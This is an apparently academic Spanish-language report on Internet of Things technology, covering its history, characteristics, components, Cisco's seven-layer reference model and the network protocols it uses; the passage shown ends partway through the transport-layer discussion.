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Resumen

El actual trabajo presenta como objetivo el analisis de la tecnologia
Internet of Things (en adelante I0T), comprendiendo una breve introduccion, la
descripcion del origen, la evolucion hasta la fecha y las implementaciones
futuras, el detalle de su funcionamiento en base al modelo de referencia de capas
o niveles provisto por Cisco, la identificacion de las tecnologias y protocolos que
forman parte de su estructura, y la definicion de las principales ventajas y

desventajas de su utilizacion.

Otro aspecto relevante que se tendra en consideracion, es acerca de la
seguridad de estas redes haciendo énfasis en cuales son las principales
vulnerabilidades que se suelen presentar. Con relacion a esto, se hara hincapié
en que la explotacion de tales debilidades puede dar lugar a la generacion de las
denominadas Botnet!, de las cudles se brindara una introducciéon acerca de su
funcionamiento, se describiran los diferentes tipos de arquitectura, los principales

tipos de ataques y la evolucion de las mismas a lo largo del tiempo.

Finalmente, se desarrollara un marco de medidas de proteccion y buenas
practicas que se podran implementar con el fin de fortalecer la seguridad de
todos aquellos dispositivos que se conectan a internet con el fin de disminuir
significativamente la probabilidad de que sean un blanco de ataque vulnerable
frente a intentos de acceso no autorizados y otras amenazas que puedan

comprometer la integridad de la infraestructura.

Palabras claves: |oT, Botnet.

1 Red de dispositivos conectados a internet que estan infectados con un mismo software
malicioso para llevar a cabo una determinada tarea.
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1. Introduccion a Internet de las Cosas

El concepto loT es actualmente muy utilizado ya que es una tecnologia
que se encuentra en profundo auge. En tal sentido, existen diversas definiciones
dadas por grandes corporaciones las cuadles se encuentran completamente

alineadas entre si. Se citan algunas de ellas a modo de referencia:

IBM: “El internet de las cosas (IoT) se refiere a una red de dispositivos
fisicos, vehiculos, electrodomésticos y otros objetos fisicos que estan integrados
con sensores, software y conectividad de red que les permite recopilar y

compartir datos.” [1].

Cisco: “El Internet de las Cosas (loT) conecta objetos ordinarios con otros
objetos y aplicaciones en la nube, haciéndolos inteligentes e interactivos. Tales
dispositivos “inteligentes” hacen nuestra vida mas rica, saludable y ayuda a

optimizar el uso de escasos recursos.” [2]

Oracle: “El Internet de las Cosas (loT) describe la red de objetos fisicos
("cosas") que llevan incorporados sensores, software y otras tecnologias con el
fin de conectarse e intercambiar datos con otros dispositivos y sistemas a través
de Internet. Estos dispositivos van desde objetos domeésticos comunes hasta
herramientas industriales sofisticadas...” [3]

Anything
Any Device

Anytime

Any Context Anyone

Anybody

o

INTERNET
of THINGS

Figura 1. Interoperabilidad de loT. [4]
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Tal como se puede observar en la figura 1, 0T es una tecnologia muy

adaptable a diferentes entornos que se la puede utilizar:

e En cualquier momento: los dispositivos loT suelen estar en
funcionamiento constante debido a que suelen utilizarse para automatizar

procesos.
e En cualquier lugar: es adaptable tanto para hogares como industrias.

e En cualquier red: la configuracion de estos equipos permite su inclusion

en las redes donde sean requeridos.

e En cualquier organizacion: su utilizacién se puede dar en diferentes tipos
de empresas, por ejemplo, para empresas petroleras, para cultivos
“‘inteligentes”, optimizacion de procesos de empresas productoras de

diversa indole, etc.

e Con facil implementacién: la tecnologia es maleable y puede ser
facilmente instalada en los hogares, como camaras de seguridad,
televisores inteligentes, etc., como asi también, en industrias por personal
autorizado para tal fin ya que requieren de mayores medidas de

seguridad.

e En cualquier dispositivo: existe una gran diversidad de dispositivos loT,
los cuales ofrecen diferentes servicios. Los mismos seran descriptos en

el capitulo 6. Principales escenarios actuales y futuros.
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2. Historia del 10T

El concepto de loT tuvo sus origenes a fines de la década del 1990 y
principios del 2000, cuando investigadores y expertos en tecnologia comenzaron

a explorar la idea de conectar dispositivos de uso cotidiano a Internet.

Uno de los primeros casos de loT fue el de una maquina expendedora de
Coca-Cola de la Universidad de Carnegie Mellon, la cual se conecto6 a Internet
en el ano 1982 y permitié a los usuarios chequear remotamente la disponibilidad

del stock de gaseosas antes de acercarse a la misma.

En los proximos afnos, el desarrollo de las tecnologias inalambricas y
crecimiento de internet permitieron grandes avances en la tecnologia loT. Hasta
que en el aino 1990 surge la creacion de una tostadora con conexion a internet,

que permitia su operabilidad a través de la red. [5]

Luego en el ano 1993, ingenieros de la Universidad de Cambridge
colocaron una camara la cual capturaba tres fotos por minuto de una cafetera

para monitorizar su estado. Esta fue la precursora de las camaras CCTV?. [6]

En el ano 1995, se desplego la primera version del programa de satélites
GPS:® de larga duracion, gestionado por el gobierno de Estados Unidos. Esto fue
un gran paso hacia el desarrollo de uno de los componentes mas vitales para

muchos dispositivos |0T: la ubicacion.

El término “Internet de las Cosas” fue pronunciado por primera vez en el
ano 1999 por Kevin Ashton en presentacion para los directivos de su empresa y
tiene que ver basicamente con la conexidn de todo tipo de objetos que utilizamos

en nuestra vida diaria a internet.

Un afo después, la empresa LG introdujo al mercado la primera heladera
inteligente. La misma contaba con una pantalla tactil TFT-LCD* con televisién y

puerto LAN®. Ofrecia funciones como lapiz electronico, mensajeria de video,

2 Circuito Cerrado de Television

3 Sistema de Posicionamiento Global

4 Thin Film Transistor-Liquid Crystal Display / Pantalla de Cristal Liquido de Transistores de
Pelicula Fina.

5 Red de Area Local
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gestion de horarios y de la temperatura interna, datos nutricionales de alimentos
y recetas. Permitia tomar fotos, incluia un reproductor de MP3 y podia programar

pedidos automaticos si las tiendas cercanas estaban en linea. [7]

Figura 2. Primera heladera loT. [8]
Posteriormente, en el afio 2004 surge el primer reloj inteligente, lanzado
por Microsoft. A tal dispositivo se lo llamé SPOTS, el cual su finalidad era poder

gestionar distintos tipos de pequenos electrodomésticos del hogar.

En el afo 2007, sale al mercado el primer iPhone. Las funcionalidades
incluian, entre otras, el envio de mensajes de texto, llamadas, navegacion por
internet, acceso a mapas, posibilidad de tomar fotos y videos, aplicacion para

escuchar musica y acceso al correo electrénico. [9]

Figura 3. iPhone 1 o también llamado 2G. [9]

6 Smart Personal Object Technology.
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En el afo 2008, la cantidad de dispositivos loT conectados a Internet

superaba en numero a la poblacion mundial.

Luego en el afo 2009, Google lanza los primeros autos conducidos
autonomamente, llamados Waymo. El sistema de percepcion del conductor
utiliza datos recogidos de su avanzada suite de sensores y descifra lo que lo
rodea utilizando inteligencia artificial: peatones, ciclistas, otros vehiculos,
construcciones, etc. El conductor de Waymo también responde a sefales e

indicaciones, como los colores de los semaforos y las senales de alto. [10]

Figura 4. Waymo: primer movil auténomo de Google en 2009.
En el afio 2011, se comienzan a comercializar los primeros televisores
inteligentes, y dos afios después, los lentes inteligentes Google Lens, seguidos

por Echo, un afio mas tarde.

En el ano 2015, Tesla crea un auto con piloto automatico, y surge el
servicio de Amazon llamado AWS loT Core. Este es un servicio en la nube que
ofrece un conjunto de caracteristicas para la gestion de dispositivos 10T, el
procesamiento de datos y la comunicacion entre dispositivos y aplicaciones en

la nube.

Actualmente, los usos de esta tecnologia son muy amplios y seran

descriptos en la seccién “6. Principales escenarios actuales y futuros”.
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Figura 5. Historia de loT. [11]
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3. Caracteristicas de las redes IoT.

Tal como se menciond anteriormente, 0T es una red de objetos fisicos
que estan siendo monitoreados y controlados a través de internet. Estos objetos
deben ser capaces de comunicarse entre ellos y compartir informacion,

brindando a los usuarios diferentes tipos de servicios.

Estas redes presentan una serie de caracteristicas, que las convierten en

una tecnologia resiliente y que presentan una gran cantidad de beneficios:

Unique
Identity

Interoperable
Communication
Protocol

Characteristics of
loT

Integrated into

Information
Network

Self-
Configurable

Figura 6. Caracteristicas de loT. [4]

e |dentidad unica: para coordinar de manera efectiva los objetos en las
aplicaciones loT, cada uno recibe una identidad unica, lo que permite
monitorearlos, actualizarlos y controlarlos de forma remota a través de sus

direcciones IP.

e Interoperabilidad de los protocolos de comunicacion: es la capacidad que
presentan los componentes dentro de la red para intercambiar, compartir
informacion y llevar a cabo en conjunto, una determinada funcion,
considerando que tales componentes han sido producidos por diferentes

fabricantes.
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e Autoadaptable y dinamico: las aplicaciones y dispositivos 0T pueden
percibir cambios en su entorno y adaptarse a ellos segun el contexto del
usuario. Por ejemplo, en un sistema de vigilancia, las camaras se ajustan
segun el entorno entrando en modo de bajo consumo cuando no detectan
objetos, cambiando a infrarrojo por la noche y ajustando la claridad segun

la luz del ambiente.

¢ Autoconfigurable: hace referencia al conjunto de cambios que un sistema
realiza sobre si mismo en respuesta a eventos en su entorno e
internamente. Muchos de estos dispositivos son capaces de obtener
actualizaciones de software y configurar redes basicas o realizar
verificaciones de estado por si mismos, o con minima intervencion del

usuario.

e Integrado en redes informacion: los dispositivos |oT estan configurados
de tal manera que pueden comunicarse entre si dentro del entorno basado

en |loT para crear una red de informacion. [4]

¢ Redes: hace referencia a la interconexion de las redes loT con internet en
general. En su funcionamiento, como se vera en la proxima seccion, la
informacion suele partir desde la red loT hacia la nube donde se procesa
la informacion recolectada por los sensores, para que luego la respuesta
sea enviada a los actuadores y/o a los sistemas aplicativos administrados

por los usuarios finales para la toma de decisiones.
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4. Funcionamiento, componentes y arquitectura de una
red loT

4.1. ;Coémo funciona una red loT?

El modo de funcionamiento de una red loT se puede describir de la

siguiente manera:

1. Los dispositivos loT colectan informacion a través de sus sensores y

la transmiten hacia la puerta de enlace (o gateway).

2. La puerta de enlace recibe la informacion de multiples dispositivos y la

envia a la nube para su procesamiento y analisis.

3. Enla nube se procesa la informacion, aplicando algoritmos analiticos,

generando informacioén y alertas.

4. Los aplicativos de loT acceden a la informacién procesada en la nube,
y la presentan a los usuarios de una manera que le aporte valor y

permita la toma de decisiones.

5. El sistema puede también enviar comandos o instrucciones a los

dispositivos loT (actuadores) basados en la informacion ya procesada.

6. El sistema se encuentra continuamente monitorizando y gestionando
los dispositivos, conectividad y seguridad para garantizar una

operacion segura y confiable.

Tempgrat —)

v -

Moisture Gateway Cloud/ Server Mobile Application

D

| Pressure

Sensors

Figura 7. Funcionamiento de loT. [4]
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4.2. Componentes

Tal como se comentd anteriormente, 0T es un sistema que para su
funcionamiento se compone de distintos elementos: dispositivos |oT (sensores y
actuadores), conectividad, gestor de datos, aplicativo, seguridad e
interoperabilidad. Cada componente desempefia un papel crucial en permitir que
los dispositivos inteligentes funcionen de manera auténoma e interactiva dentro
de la red. Comprender estos componentes proporciona una visibn mas clara

sobre como funcionan los sistemas IoT y sus posibles aplicaciones. [12]

... loT devices Network

Users Components of an
loT Ecosystem

Applications The Cloud Gateway

Figura 8. Componentes de un ecosistema de loT. [4]

4.2.1. Dispositivos loT

4.2.1.1. Sensores

Los sensores pueden detectar y medir cualquier parametro fisico, entre
otros, temperatura, humedad, presién y movimiento. Los sensores convierten
estas entradas fisicas en datos digitales que pueden ser procesados por
computadoras. La versatilidad y capacidad de los sensores han crecido
significativamente, y ahora abarcan desde termistores simples para medir la
temperatura hasta acelerometros complejos utilizados en teléfonos inteligentes

para detectar orientacion y movimiento.
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Existen una gran diversidad de tipos de sensores de acuerdo con el

elemento que miden. A continuacion se describen los principales:

e Sensores de presion: son dispositivos que miden la presion (la fuerza
necesaria para impedir la expansion de un fluido) en gases o liquidos.
Cuando la presion cambia, el sensor detecta estos cambios y los

comunica a los sistemas conectados.

e Sensores de luz: son dispositivos electrénicos que responden al cambio
en la intensidad de la luz. Los sensores inteligentes de luz estan
disefiados para uso industrial y de consumo. Estos dispositivos
fotoeléctricos convierten la energia luminica en sefales eléctricas que

pueden ser interpretadas y utilizadas por otros dispositivos.

e Sensores de temperatura y humedad: los sensores de temperatura miden
la cantidad de energia cal6rica en una fuente, lo que les permite detectar
los cambios de temperatura y convertir estos cambios en datos. Por otro
lado, los sensores de humedad detectan el porcentaje de agua presente

en el aire, en un material o en cualquier superficie.

e Sensores giroscopicos y de aceleracion: son los sensores que permiten a
los smartphones’ detectar si los mismos estan en posicion vertical, en
modo horizontal, o si se estan moviendo, y se utilizan ampliamente en el
disefio de juegos para los mismos. Si bien suelen funcionar juntos, existen
diferencias entre ambos. Un giroscopio es un sensor que mide la
velocidad de rotacion o giro de un objeto y detecta la orientacion del
dispositivo, mientras que un acelerometro es un sensor que mide la

vibracién o aceleracién del movimiento de un dispositivo.

e Sensores de proximidad y movimiento: los sensores de proximidad son
capaces de detectar la presencia de objetos cercanos sin ningun contacto
fisico emitiendo un campo electromagnético o un haz de radiacion
electromagnética (por ejemplo, infrarrojos) y buscando cambios en el

campo. Por otro lado, los sensores de movimiento detectan el movimiento

7 Celulares inteligentes.
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en un area especifica y pueden generar una senal de salida cuando se

detecta movimiento.

e Sensores de flujo y gas: los sensores de flujo son dispositivos que se
utilizan para medir el caudal o la cantidad de un liquido o gas en
movimiento. Por otro lado, los sensores de gas son dispositivos
electronicos que monitorizan y detectan diferentes tipos de gases, asi
como los cambios en la calidad de aire debidos a la presencia de gases

téxicos, combustibles o peligrosos.

e Sensores de sonido: los sensores de sonido se definen como un médulo
que detecta las ondas sonoras por su intensidad, convirtiéndolas en

sefales eléctricas.

e Sensores de imagen: un sensor de imagen se compone de un chip
formado por componentes sensibles a la luz que al ser expuestos forman
una imagen digital. Su capacidad para convertir la luz en sefiales
eléctricas permite a este tipo de sensores registrar y procesar informacién

visual de manera rapida, eficiente y precisa.

e Sensores magnéticos: son dispositivos disefiados para detectar y medir
campos magneéticos. En otras palabras, detectan cuando se atraen o se
separan los polos de su iman. Estos campos pueden ser generados por
imanes permanentes, electroimanes, corrientes eléctricas o materiales

ferromagnéticos.

e Sensores de calidad de aire: son dispositivos disefiados para medir y
monitorizar varios parametros relacionados con la calidad del aire, asi
como la presencia de contaminantes atmosféricos en un entorno
determinado. Estos sensores son fundamentales para tomar medidas que
aseguren la calidad del aire y, de esta manera, proteger la salud humana
y el medioambiente.

e Sensores de calidad de agua: estan disefiados para medir y monitorizar
diversos parametros del agua con el fin de evaluar su calidad y determinar

si cumple con ciertos estandares o requisitos especificos. [13]
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4.2.1.2. Actuadores

Mientras que los sensores se encargan de recopilar informacion, los
actuadores se centran en tomar accion. Estos son los componentes de un
sistema loT que convierten sefiales eléctricas en movimiento fisico u otras
formas de salida. Pueden controlar mecanismos o sistemas, desde ajustar la

posicion de una valvula hasta regular la velocidad de un motor. [12]

4.2.2. Conectividad

La conectividad es fundamental en los sistemas IoT, ya que vincula
sensores y actuadores con unidades de procesamiento e interfaces de usuario.
Las redes en loT pueden ser simples o complejas, locales o globales. Utilizan
diversos protocolos de comunicacion y tecnologias como Wi-Fi, Bluetooth,
Zigbee, redes celulares e incluso LoORaWAN (Red de Area Amplia de Larga

Distancia) para comunicaciones de bajo consumo a largas distancias.

La eleccion de una tecnologia de red particular depende de
consideraciones como el alcance, el ancho de banda, el consumo de energia y
los requisitos generales del sistema. Las redes garantizan que los datos
recopilados por los sensores se transmitan a las plataformas en la nube para su
procesamiento y que los comandos se envien de vuelta a los actuadores para

realizar las acciones apropiadas. [12]

Se brindaran mayores detalles acerca de las tecnologias y protocolos

utilizados en IoT en la seccién “5. Protocolos empleados en loT”.

4.2.3. Gestor de datos

Las plataformas en la nube desempefan un papel central en la
arquitectura loT al proporcionar grandes capacidades de procesamiento de
datos que pueden resultar poco practicas de manejar a nivel de dispositivo o red
local. Estas plataformas reciben datos de diversos dispositivos a través de
diferentes redes, los almacenan y los procesan utilizando analisis avanzados y
algoritmos de aprendizaje automatico. También sirven como la columna vertebral

para la gestiéon de aplicaciones y dispositivos, y a menudo incluyen robustas
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caracteristicas de seguridad para proteger datos sensibles y garantizar la
privacidad. Las plataformas en la nube permiten la escalabilidad en los sistemas
loT, facilitando la integracion de un numero creciente de dispositivos sin

necesidad de infraestructura adicional por parte del usuario. [12]

4.2.4. Aplicativo

La capa del aplicativo es la que recibe la informacién procesada, y la que
se encarga de presentar tales datos a los usuarios, y a la vez, permite

automatizar acciones sobre los actuadores.

4.2.5. Seguridad

Los dispositivos y sistemas loT son vulnerables a ciberataques, por lo
tanto la seguridad es un componente crucial en el ecosistema loT. Medidas de
seguridad como encriptacion, uso de firewalls y controles de acceso permiten
proteger informacion sensitiva y asegurar la privacidad y seguridad de los

usuarios.

Se brindara un panorama completo sobre las medidas de seguridad a
adoptar para reforzar la seguridad de estas redes en la seccién “13. Medidas de

seguridad para la implementacién de redes |loT seguras”.

4.2.6. Interoperabilidad

Para que el ecosistema de loT funcione efectivamente, los dispositivos de
distintos proveedores deben ser capaces de comunicarse e intercambiar
informacion entre ellos. Los estandares de interoperabilidad, tales como los
desarrollados por la Open Connectivity Foundation (OCF) y el AllSeen Alliance,

ayudan a asegurar la compatibilidad entre los dispositivos.

4.3. Arquitectura tipica de loT

En la actualidad existen diferentes modelos que detallan la arquitectura

de una red loT, los cuales se fundamentan en diferentes cantidad de niveles o
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capas. En el presente trabajo, se analizara el esquema provisto por Cisco, cuyo
modelo de referencia consta de siete capas, las cuales seran descriptas a

continuacion.

¥

. A <: L&
Collaboration & Processes — -y
Center

(Involving People & Business Processes)

Application
(Reporting, Analytics, Control)

6 Data Abstraction
(Aggregation & Access)
Data Accumulation
(Storage)

Edge Computing
(Data Element Analysis & Transformation)

Connectivity
(Communication & Processing Units)

Physical Devices & Controllers = L Edge
(The “Things” in loT) Co Sensors, Devices, Machines,
Intelligent Edge Nodes of all types

Figura 9. Modelo de referencia de loT por Cisco. [14]

e Capa 1. Dispositivos fisicos y controladores: la presente capa comprende
a los dispositivos finales de los sistemas |oT, es decir, los sensores y
actuadores. Adicionalmente, forman parte de esta capa todos aquellos

dispositivos inteligentes que se encuentran conectados a internet.

e Capa 2. Conectividad: el segundo nivel se encarga de gestionar las
comunicaciones entre dispositivos, redes y servicios en la nube que

conforman la infraestructura loT.

Dada la trascendencia y extension, este topico se desarrollara en

la seccion “5. Protocolos empleados en loT”.

e Capa 3. Edge Computing o Computacion Frontera: esta capa hace énfasis
en la necesidad de procesar y almacenar la informacién lo mas cerca de
sus fuentes. Este enfoque permite analizar y transformar grandes
volumenes de datos en tiempo real de manera local, en el limite (o borde)
de las redes. De esta manera, se ahorra el tiempo y los recursos que de

otro modo serian necesarios para enviar todos los datos a los servicios en
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la nube. El resultado es una reduccion de la latencia del sistema, lo que

lleva a respuestas en tiempo real y mejora del rendimiento.

La computacion frontera se produce en servidores locales u otros
nodos en el borde dispersos a lo largo de la red. A este nivel, los datos
son: evaluados para determinar si requieren un procesamiento adicional
en niveles superiores, formateados para un procesamiento posterior,

decodificados, filtrados y dirigidos al correspondiente host destino. [15]

e Capa 4. Acumulacion de Datos: en esta etapa se define si los datos son
relevantes para los requisitos del negocio y doénde deben ser
almacenados. Los datos se guardan en una amplia gama de soluciones
de almacenamiento, desde lagos de datos capaces de contener datos no
estructurados como imagenes y flujos de video, hasta almacenes de
eventos y bases de datos. El objetivo final es ordenar una gran cantidad

de datos diversos y almacenarlos de la manera mas eficiente posible.

e Capa 5. Abstraccion de Datos: se finaliza la preparacion de los datos para
que las aplicaciones consumidoras puedan utilizarlos para generar
informacion valiosa. Todo el proceso involucra los siguientes pasos:

o Combinar datos de diferentes fuentes, tanto IoT como no loT,
incluidos los sistemas ERM8, ERP®y CRM?9;

o Reconciliar multiples formatos de datos; y

o Agregar los datos en un solo lugar o hacerlos accesibles sin

importar la ubicacion a través de virtualizacion de datos.

De manera similar, los datos recopilados en la capa de aplicacion
se reformatean aqui para enviarlos al nivel fisico, de modo que los

dispositivos puedan entenderlos.

e Capa 6. Aplicacion: la capa de aplicacion de una arquitectura de sistema

de loT implica decodificar patrones prometedores en datos de loT y

8 Gestor de Riesgos Empresariales.
9 Planificador de Recursos Empresariales.
10 Gestor de Relacién con los Clientes.
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compilarlos en resumenes que sean faciles de entender para los
humanos, como graficos y tablas. Los programas para el control y
monitoreo de dispositivos, asi como el software de control de procesos,

son ejemplos tipicos de la capa de aplicacion de la arquitectura de loT.

e Capa 7. Colaboracion y Procesos: los patrones decodificados a nivel de
aplicacion se pueden utilizar para extraer mas informaciéon empresarial,
proyectar tendencias futuras e impulsar decisiones operativas que
mejoren la eficiencia, la seguridad, la rentabilidad, la experiencia del

cliente y otros aspectos importantes de la funcionalidad empresarial.
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5. Protocolos empleados en IoT

Las redes loT basan su funcionamiento en una serie de tecnologias y
protocolos, las cuales se describiran en funcién a la capa del modelo TCP/IP
(acceso a la red, capa de red, transporte y aplicacion) a la que corresponden, de

acuerdo con la figura que se ilustra a continuacion:

Capas TCPI/IP Protocolos / Tecnologias

Capa de Transporte TCP - UDP
Capa de Internet IPv4/IPv6 — 6LoWPAN

802.15.4 — Bluetooth/BLE — Wi-Fi — Zigbee — Z-
Capa de acceso a lared | Wave - NFC - HART - Li-Fi — Redes moviles
(3G/4G/5G) — LoRa y LoRaWAN

Figura 10. Tecnologias y protocolos en loT por capa TCP/IP.

5.1. Capa de acceso a lared

Las tecnologias de Redes Personales Inalambricas (WPAN?!!, por sus
siglas en inglés) juegan un papel crucial en la conexién de dispositivos 0T dentro
de rangos de comunicacion cortos. Estas tecnologias permiten que los
dispositivos intercambien datos de forma inalambrica estando disehadas para

comunicaciones de bajo consumo, bajo costo y de corto alcance.

La eleccion de la tecnologia WPAN depende de los requisitos especificos
del loT, como eficiencia energética, tasas de datos y necesidades de

interoperabilidad.

A continuacion se brindara un mayor detalle sobre tales tecnologias.

e |EEE 802.15.4: publicado por primera vez en 2003 y modificado en 2006,
es una tecnologia de Red Personal Inaldmbrica (WPAN) disefiada para
aplicaciones loT. Se enfoca en proporcionar comunicaciones inalambricas
de bajo consumo y bajo costo, siendo ideal para entornos con recursos

limitados en energia, ancho de banda y procesamiento. Este estandar es

11 Wireless Personal Area Network.
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especialmente util para redes de dispositivos en una topologia en estrella,

donde un dispositivo central coordina la comunicacion.

Algunos de los principales usos son en hogares inteligentes,

automatizacion industrial, ciudades inteligentes, salud y agricultura.

e Zigbee: es un estandar de comunicacion inalambrica que se utiliza
principalmente para la comunicacidn bidireccional entre sensores y
sistemas de control, y presenta como principales caracteristicas el bajo
consumo de energia, redes en malla (con nodos intermedios que mejoran
la resiliencia y confiabilidad), la capacidad para conectar gran cantidad de
dispositivos, seguridad robusta (incluye cifrado, autenticacion y control de
acceso) y garantiza interoperabilidad facilitando la integracion de

dispositivos de diferentes fabricantes.

Los usos principales de esta tecnologia se producen hogares
inteligentes, tecnologia verde (parques solares, edlicos y redes de carga
de vehiculos eléctricos), optimizacion del control y uso de dispositivos de
energia, medicina (monitoreo remoto de la salud de los pacientes

mediante sensores) y automatizacién industrial.

e HART!'? es un protocolo digital utilizado en aplicaciones de
automatizacién y control industrial. Se destaca en aplicaciones loT por
presentar compatibilidad con sistemas antiguos, facilitar la transmision de
datos entre dispositivos y controladores permitiendo control y monitoreo
avanzado, bajo ancho de banda, seguridad (ofrece autenticacion vy

cifrado) e interoperabilidad.

e NFC!3 es un protocolo de comunicacién inalambrica ideal para
aplicaciones loT que requieren interaccion a muy corta distancia. Alguno
de los atributos que lo caracterizan son el de ofrecer seguridad (cifrado y
autenticacion), facilidad de uso (basta con acercar los dispositivos para

gue se comuniquen), interoperabilidad, y consumo de poca energia.

12 Highway Addressable Remote Transducer.
13 Near-Field Communication.
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e Z-Wave: es un protocolo de comunicacién inalambrica disefiado para
aplicaciones loT, especialmente en hogares inteligentes y automatizacion,
que se destaca por su fiabilidad y seguridad. Alguna de las caracteristicas
que presenta es que posee un bajo consumo de energia, admite redes en

malla, emplea cifrado, autenticacion y presenta interoperabilidad.

e Bluetooth/ BLE (Bluetooth Low Energy): tanto la tecnologia Bluetooth
como Bluetooth Low Energy (BLE), son dos protocolos de comunicacion
inalambrica utilizados en aplicaciones loT debido a su bajo consumo de

energia, bajo costo y capacidad de comunicacion a corta distancia.

Sus caracteristicas principales son la interoperabilidad, la
seguridad y la compatibilidad con diversos tipos de dispositivos (teléfonos
inteligentes, tablets y computadoras) para facilitar el control y conexion.

Algunas de las aplicaciones de esta tecnologia es el registro de
actividades deportivas a través de relojes inteligentes, dispositivos

médicos y automatizacion del hogar.

e Li-Fi'*: la tecnologia Li-Fi permite la comunicacién inalambrica
transmitiendo datos a través de luz visible, especificamente el parpadeo
rapido de LEDs. Esta tecnologia es ideal para aplicaciones loT que

requieren alta velocidad, seguridad y baja latencia.

Las principales aplicaciones de esta tecnologia son en hogares
inteligentes, en tiendas para transmitir informacioén sobre productos a los
teléfonos inteligentes de los clientes, atencion sanitaria, automatizacion

industrial y ciudades inteligentes.

e Wi-Fi'®: es una tecnologia de comunicacién inaldmbrica que utiliza ondas
de radio para transmitir datos entre dispositivos. Es fundamental en
aplicaciones loT que demandan conectividad de alta velocidad, como
monitoreo en tiempo real, automatizacién industrial, y plataformas en la

nube.

14 Li-fi: Light Fidelity.
15 Wireless Fidelity.
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Por otro lado, su uso es clave en la interconectividad, la
escalabilidad de redes loT grandes y la transmision multimedia en

aplicaciones de hogares inteligentes.

¢ Redes moviles (3G/4G/5G): las redes celulares, que incluyen tecnologias
que van desde 3G y 4G hasta el cada vez mas prevalente 5G, ofrecen
una cobertura amplia y son capaces de transmitir mayores cantidades de
datos a distancias mas largas. Esto las hace adecuadas para dispositivos
moviles o aplicaciones remotas donde no hay infraestructura de red local

disponible.

Adicionalmente, la comunicacion por satélite se presenta como
una opcion crucial de conectividad, especialmente en escenarios donde
las redes terrestres fallan o no estan disponibles, como en entornos
maritimos, aeroespaciales o en zonas terrestres extremadamente

remotas.

Este método, aunque a menudo mas costoso y con mayor
latencia, proporciona enlaces de datos vitales donde otras formas de

conectividad no pueden llegar.

e LoRa'® y LoRaWAN: LoRa es una tecnologia de comunicacion
inalambrica disefada para ofrecer un largo alcance y bajo consumo de
energia. Es escalable, segura, eficiente y basada en estandares abiertos,
lo que la convierte en una opcién ideal para diversas aplicaciones |loT en

sectores como ciudades inteligentes, agricultura e industria.

LoRaWAN es protocolo de red que usa la tecnologia LoRa, para
redes de baja potencia y area amplia (LPWAN, Low Power Wide Area

Network) empleado para comunicar y administrar dispositivos LoRa.

La diferencia entre ambas es que LoRa se refiere especificamente
a la tecnologia de modulacion de radio utilizada para la comunicacion

inaldmbrica de largo alcance y LoRaWAN se refiere al protocolo de

16 | ong Range.
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comunicacion y la arquitectura de red que permite la conectividad de

dispositivos LoRa a través de una infraestructura de red gestionada. [16]

A continuacién, se presentara un grafico a modo de resumen con las

tecnologias vy

caracteristicas:

Network Connectivity

Wired,

Ethernet short-range

Wireless,
short-range

Wireless,
ultra-short-range

Bluetooth
Low-Energy

Wireless,
short-range

Wireless,
long-range

Wireless,
short-range

Cellular
networks

Wireless,
long-range

protocolos

mencionados

Pros and Cons

High speed
Security

Range limited to wire length
Limited mobility

High speed
Great compatibility

Limited range
High power consumption

= Reliability
2 Low power consumption

Limited range
Lack of availability

High speed
Low power consumption

Limited range
Low bandwidth

Long range
Low power consumption

Low bandwidth
High latency

Low power consumption
Scalability

Limited range
Compliance issues

Nearly global coverage
High speed
Reliability

High cost
High power consumption

anteriormente, vy

principales

Popular use cases

Stationary loT: video
cameras, game consoles,
fixed equipment

Smart home, devices that
can be easily recharged

Payment systems,
smart home

Small home devices,
wearables, beacons

Smart home, smart city,
smart agriculture (field
monitoring)

Home automation,
healthcare and industrial
sites

Drones sending video and
images

Figura 11. Resumen por tecnologia de loT: distancias, ventajas y desventajas y principales

usos. [15]
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5.2. Capa de internet

El conjunto de protocolos de TCP/IPY’ se utiliza para habilitar la
comunicacion entre dispositivos |oT e Internet. Principalmente, se utiliza IPv6, el
cual proporciona un espacio de direcciones mas grande que IPv4, siendo mas
beneficioso para las aplicaciones |oT en las que puede haber muchos
dispositivos que necesitan estar conectados a Internet. Por otro lado, IPv6
también proporciona caracteristicas de seguridad mejoradas siendo crucial para
garantizar la integridad y la confidencialidad de los datos transmitidos entre los

dispositivos loT e Internet.

e |Pv4/IPv6: ambos protocolos son los estandar para la capa de Internet, y
no es la excepcidn en el caso de las tecnologias loT. No obstante, debe
mencionarse que existe una variante del IPv6, denominado 6LoWPAN®,
el cual tiene una gran trascendencia en el campo de internet de las cosas

y se lo desarrolla a continuacion.

e G6LOWPAN: se trata de un protocolo disefiado para la comunicacion de
dispositivos |oT de bajo consumo y capacidad de ancho de banda
limitada. Funciona como una capa de adaptacidn que permite transmitir
paquetes IPv6 sobre redes inaldmbricas de bajo consumo, como IEEE
802.15.4.

A diferencia de protocolos como Bluetooth o Zigbee, 6LoWPAN es
un protocolo de red que define mecanismos de compresion y
encapsulacion de encabezados, permitiendo a dispositivos pequefios con

capacidades limitadas de procesamiento enviar informacion mediante IP.
Algunas de las caracteristicas destacadas de esta tecnologia son:

o Compresion de encabezados: reduce el tamafio de los paquetes
IPv6, optimizando la transmision en redes de bajo ancho de

banda.

17 Protocolo de Control de Transmision/Protocolo de Internet.
18 |Pv6 over Low-Power Wireless Personal Area Networks.
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o Fragmentacion: permite fragmentar grandes paquetes IPv6 en

fragmentos mas pequefos para su transmisién eficiente.

o Direccionamiento: utiliza direcciones de 16 bits en lugar de 128
bits para reducir el tamafo de los encabezados y prolongar la vida

util de la bateria.

o Redes en malla: soporta redes en malla, donde los dispositivos

reenvian paquetes para extender el alcance de la red.

o Bajo consumo de energia: esta optimizado para dispositivos de
bajo consumo, minimizando el uso de energia para la transmision

de paquetes.

o Seguridad: ofrece mecanismos de encriptacion y autenticacion

para garantizar la privacidad e integridad de los datos.

5.3. Capa de transporte

En el contexto de IoT, tanto el protocolo TCP (Protocolo de Control de
Transmision) como el UDP (Protocolo de Datagrama de Usuario), son dos de los
protocolos de transporte mas utilizados para definir cdmo se transmite la
informacion entre dispositivos. Estos protocolos tienen caracteristicas diferentes
y son adecuados para diferentes casos de uso de |oT, dependiendo de factores
como fiabilidad, velocidad y condiciones de la red. A continuacién se presentan

las caracteristicas de ambos protocolos y como se aplican en IoT:

e TCP: es un protocolo orientado a la conexién que garantiza una entrega
confiable y ordenada de los datos entre dispositivos. Establece una
conexion entre el emisor y el receptor antes de transmitir los datos y
asegura que todos los paquetes de datos se reciban correctamente, en
orden y sin duplicados. En definitiva, las principales caracteristicas de

este protocolo son:

o Confiable: TCP asegura que los datos se entreguen sin pérdidas.
Lo hace mediante paquetes de reconocimiento (ACKs) vy

